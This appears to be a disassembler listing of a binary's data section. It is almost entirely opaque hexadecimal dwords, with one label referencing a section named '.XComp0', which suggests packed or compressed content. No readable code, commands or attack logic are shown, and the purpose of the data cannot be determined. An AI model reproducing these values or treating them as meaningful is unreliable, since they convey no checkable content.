44A04A4Dh, 0C1880768h, 9D46EB8Bh, 0D020D4B9h, 73B3A61Fh dd 53FFE5C2h, 497849CDh, 0F51E343Ch, 0B62ED0h, 0D8386222h dd 31039583h, 0CF2DA164h, 5C80B7A9h, 3D412AEh, 4063505Dh dd 4801A37Bh, 22881E05h, 6464C178h, 68D0C073h, 177BF592h dd 52830B02h, 4024A0B9h, 7D3C382Bh, 0A6852578h, 8018D418h dd 77C3559h, 26AE66B3h, 0CB971A40h, 0AD040921h, 300A6320h dd 0A013E010h, 50FA89BCh, 34A99500h, 7A25C89Ch, 0F6F9004Fh dd 8FF4876Bh, 5E01D635h, 0BD3A397h, 0A2D498CCh, 0BC4D5818h dd 3D968102h, 0F9031B6Dh, 678AC880h, 44AF9FA0h, 0F8B556C5h dd 702F00D8h, 509C925Ch, 0DCA5287Fh, 0E3B1029Ch, 91F16FADh dd 0C92F904Eh, 61280052h, 0B0A377E5h, 94042E1Fh, 1B6700E0h dd 9FBD6579h, 91356200h, 0FED65C93h, 9B440024h, 0FFB5D3E5h dd 0AC609DEEh, 0EF802180h, 4C6F1CCAh, 1FCD00C7h, 0AE313263h dd 126C14B5h, 0ACB30996h, 62D21178h, 0E5F3A000h, 0D613AD6Fh dd 311E8F01h, 2649103Fh, 6011FCD4h, 0E806609Bh, 0A707F66Eh dd 5F45D12h, 2590F1F0h, 8B200B0h, 0C72BDCD8h, 3E0164B1h dd 0D569989h, 0F820140Ah, 9C401CAh, 429274EEh, 30FCD186h dd 0DE0CF968h, 11817179h, 22995FCCh, 6CD2ED88h, 24957403h dd 90CF199Bh, 92459A41h, 6C20F9ECh, 0E6C10080h, 9FD497CCh dd 9C00EEBFh, 0DEC987E4h, 16081298h, 0D3D69Eh, 54C5A3Ch dd 0A501C50Fh, 0D569FC47h, 7CE4412Eh, 9A12019Bh, 28754D8Bh dd 7F2C308Fh, 43CB5600h, 0D1624EFAh, 0A9A6059Eh, 0A195BE3Bh dd 24D6CE70h, 205C2B40h, 69C6005Eh, 0C5DF51BBh, 0E13C4752h dd 9DD08F7Bh, 0F142A79Ah, 0FCEA18E2h, 82378C88h, 0D2001BC4h dd 0DFA60170h, 0C9135Ch, 7F2F4962h, 9D5D6CD6h, 7980E4EBh dd 69548312h, 0DF064202h, 7767E0A4h, 8CA74933h, 34D7F03h dd 29D8F3DAh, 8A005CC8h, 0C6A70BAEh, 6943Eh, 12E7611Fh dd 3342042Bh, 87E5CF3Ch, 324F0AF9h, 9F9072E7h, 625FACh dd 24C9EA05h, 48DC68Ch, 9512100Eh, 0F876EF0h, 0DC8E67B4h dd 0B9CD09D0h, 0A7C0051h, 3FF8D037h, 61008555h, 0BFFA8A5Eh dd 1C57CD11h, 400AECC4h dd 0D13EF682h, 0DA1C3F1Bh, 5A406D74h, 0DC51A4FCh, 58F900C3h dd 76A02268h, 0D9007A9Fh, 0B97EA9F5h, 0B33286Ah, 0F641E6FAh dd 0FC50FA80h, 480738B1h, 118DE35Eh, 609C4D02h, 51A832h dd 6BFA0BBDh, 3A93CB14h, 2630A1B0h, 7AA4FCB1h, 0E840E14Bh dd 5BE0185Ah, 4DA8CBh, 3634A29Dh, 39A15EB2h, 35809AE3h dd 0B1B7E931h, 792E4CFDh, 6100605Bh, 87DDD2D3h, 0F05F076Ch dd 91C7FB58h, 20D10ECBh, 2E2C8370h, 39E03865h, 1387C3F1h dd 40ACF078h, 0FD973184h, 180075D3h, 5D51136h, 0BE1FC9A2h dd 0CF1C003Ch, 5FDBEB49h, 74ED9B00h, 7A421D33h, 0F856006Ah dd 47807B68h, 0C600D66Ch, 0E4CB768Fh, 1719326Eh, 356957Ah dd 5A9A24B7h, 1B280880h, 0FB0A4500h, 72CA8CF9h, 0B5793E4Fh dd 20C9C100h, 175CFE03h, 525F681Eh, 3950B384h, 0F46B24F0h dd 46990064h, 98DC6923h, 19133D0Bh, 0A716AF4Bh, 0D19C8000h dd 4E2C15h, 0F868BE40h, 7DC79441h, 4A9E3102h, 0E0C3E218h dd 0F73B28h, 0B19FF015h, 0BDD49194h, 39004F71h, 464025E7h dd 0E2D09061h, 0D7C40078h, 60693CD6h, 0E7000EE8h, 0BFA006B0h dd 2C373B86h, 80A0C464h, 4BEEF802h, 4912AF69h, 8416D750h dd 0BB302Ch, 0DFD32F3Bh, 24433C7Dh, 1838E703h, 0F092317Eh dd 1C16A61Eh, 0DE897393h, 0F4A780E0h, 8A1026EEh, 0DE3D0D00h dd 0C1D3A90h, 0A09007Fh, 0B43438C1h, 0C0269750h, 0ED09117Ch dd 1A8C01ABh, 99D4C73Ah, 28EB0052h, 2791A612h, 560FC81Fh dd 0C4320A2Dh, 44C051CEh, 583EF1F0h, 730E5477h, 0D13D58h dd 294A26F3h, 0A19810h, 0E6AE75A9h, 49A045FBh, 29C9F3EAh dd 0FCD38081h, 71F7257h, 5982F75Ah, 0B7BD102Dh, 21E22FE3h dd 950348h, 0D64AEFEAh, 3BE0997h, 4257A099h, 0A0AFDBB9h dd 8F7E81E0h, 8BBDA300h db 0C7h byte_515545 db 0C9h, 39h, 0DCh ; DATA XREF: .XComp0:00452C8Co dd 0E92C007Bh, 33E1CB3Ch, 2E002D4Ah, 90328EB9h, 29A3F5Ah dd 0C47E03Bh, 0BBC0FBCFh, 2071DD4h, 1A7D4ACCh, 1C0004C7h dd 0FEB26F3Ch, 0C4710088h, 0EC677B4Eh, 5C1E3BE3h, 0EE8EDEC8h dd 530480D1h, 58347F1Eh, 0BD002DD2h, 0FFF5E599h, 5B384D59h dd 17418AD9h, 74249F35h, 0C7EC0E00h, 110CBEh, 26DAE65Fh dd 0A3890F72h, 479A4900h, 0DFE0C64Eh, 3E20FC13h, 0ADAD4F88h dd 0B534D0B0h, 6210E00h, 301383CBh, 3490A7h, 0A00BFD3Eh dd 0EA7E5078h, 41A88500h, 7F3D6AB6h, 0A98807E7h, 80E49D04h dd 74D0891h, 7CDCC60Bh, 4CCF07D7h, 12476A9h, 0E80EABBFh dd 1C62F6CAh, 1B594882h, 5D488155h, 0E075F127h, 0F9820h dd 3FF5A45Ch, 0B9D22171h, 28062C00h, 38849424h, 8F993E46h dd 0D064C0DFh, 0EF00504Ch, 170DD54Dh, 89B2F4h, 870E614Fh dd 0FDC575BBh, 325AF77h, 0AC30804Dh, 0A1E57Ah, 0E40A0C58h dd 0AF55633Ch, 55EED00h, 74522EEBh, 1B920043h, 6B7EC0CBh dd 0B60F154Ch, 809C02AAh, 5574C4A5h, 0DF5A0928h, 7180DC33h dd 35DB0E4Ch, 34FBF800h, 423B6914h, 0D2DE096Ah, 4E892A84h dd 9D16B47Ch, 1E127CB0h, 4B154FBFh, 0E8509BEAh, 0E718522Eh dd 34D6A91Ch, 813AC300h, 4C2AB864h, 49063431h, 10B6CF4Ah dd 0C4727B00h, 0A0BA6DBh, 8FB52C90h, 0EA5100E0h, 0CAFA4E2Fh dd 0CB0538h, 0EF5D5B1Bh, 701781F3h, 0B71D0254h, 30B9F896h dd 4A30FF70h, 0F0E0F6D5h, 97770071h, 7F15E4D8h, 0F90F4F5Dh dd 407A8D0Bh, 17C075Ah, 510202A1h, 9B714C9Ch, 44D6A186h dd 0A01FDC00h, 0C3B72577h, 4B0C0B46h, 0A880B232h, 0C18D2D08h dd 870278B8h, 7282341Ch, 0B0045F41h, 0B801BE29h, 6DB71B58h dd 0B1E82DD9h, 90E5002Fh, 0DC9D7277h, 0ED3B6266h, 9A958C83h dd 0B2AA10DEh, 785A60ACh, 7F937F6h, 506E4300h, 0EA99F2Ch dd 14F400D9h, 0FB20265Eh, 31006781h, 7C17E9DBh, 0E42CDEBh dd 16F59570h, 800A92Bh, 0CF2D1507h, 0BF30F901h, 0BB0E27ACh dd 131E4C0h, 4F28B3C0h, 0CC39F5C5h, 6B0B1F8Bh, 0E08A221Bh dd 3804EFCh, 0D2D4E28Ch, 18C88EE4h, 0DBFE33EFh, 6FA82F00h dd 0B42AE8A7h, 6546003Fh, 0CFF13BC1h, 2E0707ACh, 96B1B96h dd 16C70F0h, 6D7ED2h, 15A4C090h, 0A2F0A634h, 0EEEBAB0Ah dd 1B01A2D4h, 5ED53580h, 0C100382Ch, 912DCE34h, 0E074D9EBh dd 529D6117h, 7C134B4h, 5C064139h, 0BC0F1BB8h, 86C8F482h dd 840E4876h, 45E7E04Fh, 250790h, 7C49858Ah, 6E373FD6h dd 4E13A677h, 0E0F07A0Eh, 72C10022h, 0F795E9BBh, 65017541h dd 20CE1DF0h, 0C0D8FBFFh, 7F6B0066h, 0F71353E0h, 4F009A0Ah dd 71775E33h, 176BD3Eh, 0B7E67F35h, 0D0E0D84Ch, 657399FDh dd 63C9F309h, 4470C6h, 6BAD12Eh, 0D6B3358Bh, 0DC83342Eh dd 3117803Fh, 1DA1B7EFh, 0DDF91C64h, 5E20C754h, 1F12C001h dd 0F600285Dh, 0EB39B131h, 342B50h, 475F49FFh, 0A8B50A10h dd 5444F71Bh, 0A54ED011h, 3A1E989Ah, 243ABDEAh, 92C863ACh dd 4C344001h, 47C9730h, 610020EEh, 87099175h, 4E2F962h dd 0DDA798FCh, 6A47C086h, 0CE0E6645h, 3C396FA9h, 2E1FF700h dd 3860B72Ah, 2D00794Ah, 0D94D1EACh, 20303A2Fh, 0AFDD78F8h dd 0D4828041h, 46E1FE00h, 0A669BCDAh, 87C100EEh, 967FAE05h dd 0A948749Ch, 6C4F09C0h, 7CC47849h, 189A006Bh, 0DDD9F37h dd 0F200AC6Fh, 4753E42Bh, 1256F960h, 0C52A72h, 0B8FF6808h dd 0CB0077FDh, 2F546C8Bh, 0BF641CF4h, 36F1FC90h, 0BDAC413h dd 0F7FFB104h, 0F27D4080h, 40DE00E7h, 0B9FA30B1h, 6A3F3760h dd 230980C0h, 0DB5DA9BEh, 209E0039h, 3AFA35D2h, 7098C0D9h dd 0E08DB527h, 3BEBB3Ch, 33C46C0Bh, 0F0A716D1h, 341F6E77h dd 0ABDAD1Ch, 92002956h, 785AC6C3h, 90330076h, 82DB53D1h dd 28FCE9BCh, 0ABB81F1Ch, 952E1600h, 8FA087h, 4126DF27h dd 34EE9B0h, 0EF42C58h, 0C0D9A51Eh, 81DBC71Ah, 0D47426AFh dd 7C2F1F58h, 697A7980h, 90BED024h, 7073407Fh, 0B5CF231Ch dd 0FE8135C0h, 9778AD57h, 4EE4DC60h, 0C04219Dh, 1081E6C8h dd 5E981AB2h, 0DE58305Ch, 8C013F0Bh, 4470201Ch, 12B95F48h dd 0ECC9A3h, 6524FE08h, 0CF07207Ah, 56D76687h, 0E0007C2Fh dd 6B627BF7h, 0F1B3008Bh, 87BF3A05h, 0DE01DB09h, 66C8CB72h dd 0CC2F81C0h, 3907A4C4h, 4488DAF2h, 8343F5F0h, 8AC4D425h dd 0F978A300h, 0D5C4BAAAh, 7106F05h, 4B069BEh, 21F2FFABh dd 0ECD86538h, 9F09ED34h, 2060F224h, 0EFD72B50h, 0B82D0026h dd 0C0C4195Ah, 0B34B012Ch, 40C2F482h, 3F386114h, 90805943h dd 0E55BAD12h, 0F50F7049h, 0C06F89DFh, 0C6CF3936h, 137D90AAh dd 271B7D1h, 0CC4E8A84h, 7A00F0D8h, 871054FFh, 6B7FBAh dd 59567366h, 6D970A9h, 0DD5F0100h, 6E259947h, 0A7D600ECh dd 75803332h, 272A2ADh, 0D000B67Bh, 1FD2C5FAh, 5CA94025h dd 1E764C3Fh, 40BA1355h, 963CFC66h, 7D0EB793h, 0E10ECD31h dd 0C5DDE792h, 0E6D660h, 0E1822F78h, 0E90C8958h, 0B2E50200h dd 0EE40F471h, 0CCD9019Fh, 37C086DAh, 6F6021E3h, 8824C41Ch dd 0F63F5F00h, 1F618FECh, 8016D2A2h, 4BD7438Ah, 0B89437AAh dd 3AACD025h, 0CD005893h, 12152E18h, 0E60F8556h, 21637A8Fh dd 0E8D11DF3h, 30ABC940h, 0D8063B15h, 5CA926h, 8B3B0C6Eh dd 0C51CC147h, 0F18F35F9h, 0CE405F25h, 34FA38F6h, 0ED730E90h dd 1720B941h, 4789ACD7h, 0BC9D0700h, 0C1C29418h, 0C29B4AAFh dd 0F0E3D378h, 19894CC0h, 6630E197h, 0A4503BF5h, 40A7076h dd 1EA5BC7Ah, 2010E014h, 0F74FAE4h, 3E0FE671h, 0E624C561h dd 2E393829h, 90041B4h, 7C76688Ah, 85C0651Eh, 0C6139196h dd 800F4AACh, 31D427CCh, 9FD10A0Ch, 18FBC50h, 6AF9F73Dh dd 0E41AA3B3h, 87ECABA4h, 0C4E04D4Eh, 504B0015h, 997A033h dd 0D9B85816h, 370BBD70h, 91D6E1h, 50757D8h, 558F00B9h dd 0B1795F54h, 64008DFDh, 988F37Eh, 426F0Ah, 962A9C27h dd 28CB65DFh, 0F86E9100h, 5A892059h, 71E7E1Ah, 26DE5DBCh dd 0FD7F50F7h, 624BDCBh, 0B000A04Dh, 8F9A27E8h, 907029Dh dd 4394BE88h, 0E2005070h, 67A61142h, 0C39EEFh, 4F3CD110h dd 4A62F3E0h, 40FACC00h, 0DD32E4A7h, 389C0030h, 84519B3Ah dd 0EF05EAF5h, 55F1AE5h, 4E00D0ECh, 9904C45h, 0A23E2B40h dd 0F64D808Ah, 1D031434h, 0BE7F1D32h, 52634017h, 6B338193h dd 871E88A0h, 8F561B12h, 0BDF04B00h, 4CCB8691h, 2E0024DDh dd 3649ECE8h, 260CB32Ah, 0E0223205h, 0F6CBA2Fh, 38C91CACh dd 10BDD8F8h, 23FEF714h, 0AA6E00E5h, 928A6460h, 0C782004Ch dd 6FF9B8B4h, 8001287h, 0CE0B7D1Eh, 26E9AF4h, 0FDFC317Ch dd 3A416C32h, 0F188F44Fh, 9822BB09h, 968D86Dh, 64B66EAAh dd 65611079h, 803AF7AEh, 0BE9005DCh, 51F57F09h, 274C60ABh dd 241F3DEDh, 0C0405A1Fh, 9BC0675Dh, 0A5000B42h, 798C3143h dd 0E2D7B0FBh, 0C1F61883h, 0DCC1181h, 0F607658h, 8002A182h dd 0A8E1E8A6h, 97DC014Ch, 0C5F144Ah, 1DE06073h, 0B04B9931h dd 14301072h, 4C0B0F58h, 38203579h, 394B6591h, 0B5D850C0h dd 0DEBA9Fh, 1AE70E95h, 9E4C76C6h, 0E1D540C6h, 0B050F996h dd 0B43D06h, 58FABC5Fh, 0C7C2EC2Ch, 0F4C6962Ch, 83E0160Bh dd 0BC0C4Dh, 0D6A9CD10h, 0BE76902Dh, 82599700h, 0AC103D8Bh dd 0E352099Eh, 9800B925h dd 2968A4A0h, 8D240F13h, 8022840Eh, 0A296449Fh, 81E485Fh dd 340EF700h, 2063552Eh, 0E4434005h, 0C8A86FF8h, 0A6D59D00h dd 0B7AA951Bh, 4F4EA209h, 1CAC7099h, 4073BF09h, 24B06494h dd 4803E8BCh, 87CED63Bh, 0BEDC02Fh, 0A65D00ABh, 6310F501h dd 0A10007CDh, 4694AA60h, 21C33Ch, 0F9015E69h, 0E7B7667Eh dd 2F196B07h, 95D0594Dh, 4E5D15Bh, 818D2E8h, 80D8EC7Dh dd 0ADEDE3BEh, 0E209065h, 0D98ED6FEh, 8A7B41DFh, 0CCF0D455h dd 6B00F591h, 0E4896326h, 73B79EDCh, 8AF45Ah, 0A2EAC5EFh dd 18DA44B4h, 3A870A1Dh, 0B1D5FEC0h, 17E90142h, 0E3AFA4D8h dd 86C9BC00h, 1CF4704Eh, 72470033h, 0F0E7B283h, 0B8A0F5F7h dd 0F2161317h, 20038FCh, 971BB4E4h, 0EEC61222h, 97B8F837h dd 2232CE0h, 199C7011h, 0C6015B0h, 4003D2Ch, 0F33E88CBh dd 0B872F7h, 8BCA907Ch, 0D3441A8Eh, 0EC5B5300h, 5778A64Eh dd 3BE3163Fh, 1A4D0043h, 10A4E0F3h, 53852900h, 0D94BCD81h dd 0F24700B4h, 0BF484055h, 0FB0F1E59h, 605141EBh, 0DF3C72FFh dd 8E6207E3h, 801A2908h, 2B5ECC45h, 68862507h, 74E9ED72h dd 821E68h, 699BDE95h, 19735D1Eh, 0A3012171h, 51B37623h dd 1231B62Fh, 24540ECCh, 8128D6F0h, 7E8702D7h, 0F31880B4h dd 0DCEBBE10h, 760F389Fh, 85D3E400h, 0F72419A6h, 0FE7A4100h dd 3E6CBA1Fh, 5CAA4C1Dh, 9328C800h, 0ABD3897Ch, 0E8A7FCE9h dd 0F514E89Fh, 8CD709A0h, 0A0D23B33h, 3986C700h, 73440A3Dh dd 0BC2205FEh, 80CC3729h, 7196EAF4h, 0AE2A2339h, 8B00E52Dh dd 326426B8h, 98E75DCh, 0A17E8A45h, 9D2404A0h, 707B8F05h dd 0CFC12A00h, 0C9E10A7Dh, 0B38906ABh, 9105DC23h, 0A260BBFEh dd 24D32839h, 631C3A39h, 0C293450Ch, 0F37C2618h, 7F2C8E00h dd 3003EDDEh, 0A20B00ECh, 2B8AB882h, 4700C23Dh, 56EB2FBBh dd 11F4DAh, 60412423h, 0C1C44E33h, 0FB0DAA01h, 39BEDB71h dd 7C8480FCh, 0E89D01A4h, 6E8E2522h, 725360A1h, 9854D301h dd 35A027A2h, 141281DCh, 5CDB2EE1h, 0A5961B08h, 924180BBh dd 24031D15h, 9A63003Eh, 0B4C1E893h, 232A9E89h, 948678E5h dd 0F0CB2832h, 268B001Ah, 7A508A49h, 0E9502E10h, 50388F1Ch dd 0CD00F9C2h, 0D740A32Fh, 1FB10710h, 0DC585CA6h, 594C19Fh dd 0C0ED3580h, 0A93AA7D9h, 548E00C5h, 0AFEFCC91h, 0CD7B0062h dd 0C392127Eh, 0AB75F3A8h, 0D4ADB807h, 1FF043F2h, 2E7A300Fh dd 65D0AEh, 0FF89C9A1h, 30F3E4EAh, 0FFCE057h, 428D1E00h dd 0BFDD3BEEh, 56F00DCh, 0FB80D1C4h, 0A313BDB3h, 0E30E11DAh dd 9E5E0ACh, 0FF707CAh, 336DC74Bh, 0DD73FD80h, 0F300A70Ch dd 0D8FABBCDh, 0EC56BAh, 0A6395510h, 0E592CE28h, 0B12DB800h dd 84FAC3DAh, 0C1DE1CA8h, 5544003Dh, 4147C4EEh, 888C6AF3h dd 0FC0E17Bh, 0F3FC69h, 446BABBh, 0F7342693h, 2D65C91Fh dd 4777C700h, 7641DCFh, 6F98F81Eh, 81068321h, 0E09903A1h dd 7000F22Eh, 0FBF5ECE0h, 19C07B8h, 84950F3h, 0C833BBD0h dd 4A1D6B0Eh, 1E1F8B01h, 433B7CFCh, 2B701EFFh, 98776E0Eh dd 4C2E7630h, 3C3A97C1h, 45140E00h, 0DD6C1D04h, 0BE28F674h dd 48F64DFh, 2BE9505Fh, 68109460h, 12D00Ah, 8F81A7D8h dd 0E17A093h, 0B9AF4312h, 1DD8888h, 681CE9CCh, 0E504FAC9h dd 0F30898E3h, 0D4FE21h, 68E435E9h, 9FAC2ED1h, 7F31277Bh dd 0E21850A6h, 22EA3085h, 0CCCFC92h, 7173C627h, 6C1C001Dh dd 9B774ACBh, 0B60F8B93h, 0C1BF395Fh, 0BC8FC62Ah, 0A0BD2883h dd 78BEC31Ah, 0D25C7278h, 0E0A9615Ah, 89FC622Bh, 709AE648h dd 60C274C1h, 244531D8h, 3C00E362h, 20FA6322h, 0F7B02AE6h dd 20908046h, 0F8FB984Bh, 1341731Ch, 80D46891h, 89D16235h dd 0D5448C38h, 648E004Bh, 32BFB910h, 60DF0970h, 0AF42A142h dd 0CBACB0B8h, 9B2351E9h, 88F8AC18h, 0E900D3FBh, 0AA648476h dd 0E21C78C7h, 0C8E07A12h, 32C0D399h, 2989D062h, 6080C190h dd 0F2648B4Ah, 97E25E03h, 0DE4FE90Ch, 38061E68h, 745FCCh dd 2CE8763h, 0AF03E96Eh, 0FFC46848h, 617F126h, 1798841h dd 541258BCh, 0D2C43E4h, 89001348h, 3E60432h, 4EDC7C5h dd 8712B5B3h, 724090EAh, 3C07399Bh, 0ED6078D7h, 76850470h dd 0D480068h, 33B2E8BDh, 8909CF97h, 0FA7D263h, 0A1BE004h dd 619B6994h, 40176941h, 75818AA4h, 0D71188CEh, 0CC623680h dd 0D4AC3089h, 4ED944h, 0F7E3648Fh, 91727FA7h, 51B8C733h dd 0C51BA1FBh, 0CD00342Dh, 1C35CBD1h, 0C11924C3h, 92085B2Eh dd 0B9E42180h, 481888CBh, 0F1811160h, 460E6Ch, 5DEB4F5Bh dd 8030ACDFh, 6D44F606h, 2A290690h, 9F8BFF8h, 0CFE82842h dd 3011807h, 0FEE87944h, 4C909577h, 18226A0Ch, 12020C5h dd 0AD6E42E1h, 0C1CD5Eh, 402C303Eh, 0B430AE2Fh, 0CF07C8E4h dd 0A410507Ah, 202EF424h, 310976F5h, 11C0C6A0h, 6BD0DAA8h dd 20E2635Bh, 994AD3E9h, 0FF3E5B0h, 9E810E9Fh, 46A52DA5h dd 4184FDE8h, 373120F0h, 8C0B19AFh, 6064420h, 7422633Ch dd 0FD289878h, 0D93E7897h, 0EC5B181Bh, 0F718C670h, 0C10AC001h dd 0A9308028h, 20C1E0B4h, 858D3C41h, 2B006169h, 4527D57Eh dd 2FA1E119h, 21800209h, 757E506Eh, 2E0086A2h, 14307C17h dd 143216E0h, 88FB2054h, 2102073Bh, 299C2B06h, 0FF8E0468h dd 14A29344h, 0A4E1245Ah, 0C0085124h, 1C37CBB7h, 9622B346h dd 0CBBFEE03h, 0A080DB25h, 0FCFE158Eh, 8F9C0BEh, 0D7DA6C33h dd 0C947A73Bh, 30860004h, 5260EA6Eh, 567F0045h, 40820D8Bh dd 0D6793998h, 0FE0EF102h, 9927EA31h, 3308C1C0h, 20BED700h dd 8E98BB96h, 7F0E13F2h, 23602F70h, 0A94600D9h, 0E292DF0Bh dd 96ED6506h, 369E8F3h, 8A03D074h, 93B1E9C5h, 0BA17309Bh dd 0B0303D12h, 8D05054h, 20AFCF54h, 711F46A0h, 1C39CB04h dd 8B322523h, 0CBB5E820h, 0E1F60Ch, 514B3AF5h, 0CADA6392h dd 0A686DCA0h, 0DFCB80A8h, 6E0EAE03h, 0F01084C2h, 4CDD8B50h dd 9E18E3B8h, 0B6CD085Fh, 18F01734h, 25AF1C82h, 221049A0h dd 249BF002h, 18BE80C1h, 19E908D5h, 0E4C4E168h, 0E9DDFD40h dd 0E0050A5h, 7B4AC6C5h, 4C1FF9DEh, 55807C7Ch, 0CDE3FF6Eh dd 383D1058h, 1493BBEh, 282E6F79h, 23E81225h, 0E14A0082h dd 5393CEB9h, 0F0C1F358h, 0DBC64C1Ch, 1219420h, 0CFDF0DCDh dd 80F38691h, 0AF73AB61h, 1B2CB8Ah, 0C8FF8580h, 8013C544h dd 0F9CEDFE0h, 1E604066h, 1D38CBFh, 46BEEA21h, 5CE9800Dh dd 111B1CEFh, 0B4AF0379h, 71FE18F7h, 0CF2C819Ch, 0E488FF90h dd 88C1E352h, 0FC128C29h, 0E74D464h, 0A32E6C8Fh, 0F5E8A0D4h dd 6F14008Ch, 67F20D1Ah, 0D4486432h, 0D1AD1D90h, 0C40EA112h dd 0C7C8605h, 84410A59h, 8E90068Eh, 9E65D86Fh, 17100573h dd 0C6F4203Eh, 0E5543A1Bh, 4890FDA0h, 0C3011546h, 931C2BCBh dd 88910C2Ah, 0CB01ABE2h, 0F5080F11h, 1030946Fh, 28031FD5h dd 0A2624F8Eh, 0B8A80417h, 1DB60B25h, 83D911D0h, 0C235AF1h dd 99C81724h, 140E7181h, 235EA858h, 0FA6016C4h, 5CAC6039h dd 8194A0DFh, 9C550676h, 0E8D41F73h, 897E8B0Eh, 226B42CEh dd 75D4A4ECh, 30DE08C2h, 0B7116237h, 0E2882889h, 64908180h dd 4416B7Dh, 0C4E6BAA9h, 0E1DC8223h, 0A14DE0A3h, 83C034B9h dd 0B0538910h, 0DD700B0Eh, 3C48E9CEh, 110F6E04h, 0E5892AF0h dd 0B027C521h, 0D6832890h dd 5E232C57h, 0EEE8006Eh, 0AFCA2690h, 0DCD94902h, 8504381Eh dd 891C0A0h, 1D0C8724h, 27CA7E08h, 40F5C46Dh, 0AB7E155Bh dd 8A43EB9h, 0E1E08118h, 2214DE20h, 16DC04C0h, 0F0F41647h dd 0A29C00E6h, 0C8A60A8Fh, 9B039549h, 9E1FFF54h, 0B29DE27h dd 741A2038h, 9002270Bh, 74406621h, 94B1EA28h, 678D09BFh dd 0A21C0E91h, 0C4E9B90Dh, 0B4480008h, 279D712h, 681221CDh dd 708BFAA1h, 0D6C0DEC8h, 161BB727h, 5DBFE21Ch, 0C50062E4h dd 44616906h, 0F9689Fh, 9616679Dh, 3D303F53h, 6BC6BF06h dd 7938F693h, 0CA8F0120h, 0AE0426B1h, 38CC20D1h, 1574E040h dd 0E0A93B11h, 1F18263Ch, 310B38E8h, 0FAC32Ch, 0D21A118h dd 855E1428h, 60680B1h, 48D8801Bh, 4222CF79h, 9886529Bh dd 2A0A7800h, 5E08E7F7h, 62E41A09h, 0D8C8494Bh, 0CDFC3918h dd 11588923h, 924F00E3h, 4EFAEE64h, 91743E0Fh, 8EFDAC0Bh dd 2F1D7090h, 207A3F1Dh, 0EA1ACF81h, 0B610AF1Bh, 8A246389h dd 309EA0F5h, 0B13048EEh, 618FFD9Dh, 1CEA497Ah, 1839BE12h dd 0C819E393h, 8024999Eh, 9F75111Eh, 20008A62h, 3243FDE8h dd 1B230F19h, 0B9D4481Fh, 0CDF405E8h, 0FB92C000h, 0A5AA03D1h dd 15700E77h, 8AE58765h, 1DF880B0h, 6F04E92Eh, 0B6EDD1FFh dd 7721D1A0h, 0EEDC9A71h, 0E2F6204Bh, 1A1B3513h, 305700Fh dd 0E5F37Eh, 9B0D32A9h, 0F16949DFh, 0D5FC8EE6h, 25EA5014h dd 0FFCE80CCh, 2C3F1CC1h, 74ECCD6Ah, 0DB019146h, 3FB11C1Ah dd 0E8642C6Bh, 100F8CDFh, 32AA5AE3h, 1254C5Ch, 0E144A97Ch dd 438E1034h, 7E230285h, 511D27CCh, 1B696018h, 0FC006D7Eh dd 0BE3CF39Dh, 9D1EEF9h, 96E15DA7h, 0A2865C04h, 308AF204h dd 41E0B858h, 83F67900h, 276D77A7h, 9911335Eh, 30C64058h dd 0FD0DA090h, 10A63B8Ah, 8CB5A430h, 20E9D00Eh, 0F6887168h dd 0BCD9028Fh, 0ED31F200h, 457B416h, 265B89A5h, 46085F6h dd 80E9EEA4h, 0A0873804h, 8300255Ch, 7CA76917h, 497D4BB9h dd 0AC05C150h, 0FE9449FAh, 0CCE6D805h, 48C1AECh, 1C32CBD0h dd 0C094B2ABh, 0FACBB8E3h, 0FDA80901h, 8891C5B3h, 7100D748h dd 2C26A3FCh, 981D6Dh, 734A8AD0h, 85DEFF30h, 0B400A8B9h dd 0B8F32DA6h, 436B0037h, 0AE765B1Dh, 22308B48h, 0A73AE62Fh dd 1E9102F0h, 2066AA4Bh, 7071F0EAh, 3618E479h, 0F97BB518h dd 73DBEF81h, 2792002Ah, 0D19C0880h, 1001432Eh, 54CD64B2h dd 0A830868Dh, 17E440ABh, 9C98414Ch, 0F4D24BC4h, 70009309h dd 0C0542906h, 1DD4A650h, 1CC4852h, 92A07CA9h, 54D0A5C8h dd 401F45Bh, 22EA51A3h, 17CE43F4h, 4B17867h, 41465736h dd 4200C2D5h, 0E4E42445h, 26703860h, 0EABE1C18h, 889F69C1h dd 8D14080Dh, 4E0CDBFh, 0FA82266h, 0E5CFC083h, 10AE288Ch dd 0FC0376Bh, 29FD1007h, 0B6183050h, 1C3411CBh, 808C885Bh dd 0AFCBBEEDh, 567AB76Ch, 0BF9AEC05h, 0AC8C23E9h, 0C74720F5h dd 4BCBE58h, 0F87C1D24h, 5F1AA40h, 8C381993h, 9EE1806Ch dd 7042D7FBh, 66030144h, 0B032687Dh, 50C1807Bh, 0C882091Dh dd 0BA7E7862h, 4CFD7438h, 9188E8F4h, 0CD7A4580h, 98851D7h dd 0A573D4CFh, 8043E380h, 270B7D04h, 2986694Ah, 8DA0C090h dd 125A4E8Bh, 808C9BC8h, 5FAD890Eh, 458E12A1h, 0F9F00892h dd 0EA20D820h, 0C7AD11FBh, 730C0099h, 86B46027h, 0AA2F0264h dd 19EA7BA1h, 0A6F8A493h, 0CA83BA97h, 0A360E2EBh, 0B2EA1018h dd 0B1BC78FFh, 18EBD1BCh, 0F38613FCh, 5F0804Ah, 0FE001E58h dd 9362D6C4h, 7B4F25h, 9CE40A68h, 0CEF3B8E1h, 0C684090Dh dd 5420D8D9h, 6B93880Fh, 40FB64Eh, 6A17C50Eh, 28A07405h dd 6812141Fh, 40268822h, 0C0A0C8FCh, 2BF83D11h, 0EC004DF7h dd 0D920B04Ah, 2422A65Dh, 6C88CAEh, 0B150E9D2h, 0EB116800h dd 0DD15F82Fh, 75AC7AA8h, 0E03F007Eh, 679A46F5h, 8C008F81h dd 1E99820Dh, 4C5B4837h, 0C095381Dh, 0D5146DB8h, 40681A9Dh dd 0FF41D288h, 0E927A036h, 0DCFDCC20h, 700099E5h, 7F9F5ED6h dd 77334896h, 8BDCA0DAh, 22048685h, 1527CB7Eh, 6820EA62h dd 30307E1Ah, 66810948h, 0E170B27Ah, 51F89Fh, 0F02C1F20h dd 4A241EA9h, 42C27E2h, 0C512C0AAh, 0A680D09Bh, 3CC05C4Eh dd 0BCE02158h, 4B008C11h, 0B4F00F41h, 16AC5AD6h, 9096FE0Eh dd 0A77BD538h, 0FFF131C0h, 3B37BA53h, 0AF9D57F0h, 736E8521h dd 8B34B007h, 0DA376AE2h, 1070403Dh, 7736DEEh, 0A25487FFh dd 0B488E30Eh, 984E3FF2h, 0BEA13213h, 50D2EC40h, 5EDF225Ch dd 0D104048Ah, 0F810B1BDh, 93184E1Ch, 21696C53h, 0C0B50EEFh dd 2883A5ABh, 8780D8D6h, 6701A3F2h, 3CB86D06h, 